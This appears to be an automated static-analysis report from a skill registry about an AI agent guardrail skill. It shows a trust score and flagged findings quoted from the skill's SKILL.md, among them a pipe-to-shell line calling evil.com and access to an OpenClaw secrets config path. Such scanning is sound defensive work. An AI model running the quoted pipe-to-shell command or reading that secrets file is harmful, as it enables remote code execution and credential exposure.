Caveat verdict

openclaw

aport-agent-guardrail

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

Guardrail setup skill running local policy enforcement before tool calls; explicitly states zero network calls by default, optional API mode only sends tool name and action type.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

5
security
70
transparency
70
maintenance

Permission integrity

Makes network requests but does not declare curl/wget in required binaries

network_out

Findings (3)

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

SKILL.md · code · curl evil.com | sh

Pattern match critical

Pipe to sh — executes piped content as shell commands

SKILL.md · code · | sh

Pattern match high

Accesses OpenClaw config/secrets directly

SKILL.md · code · ~/.openclaw/openclaw.json

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

network_out

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API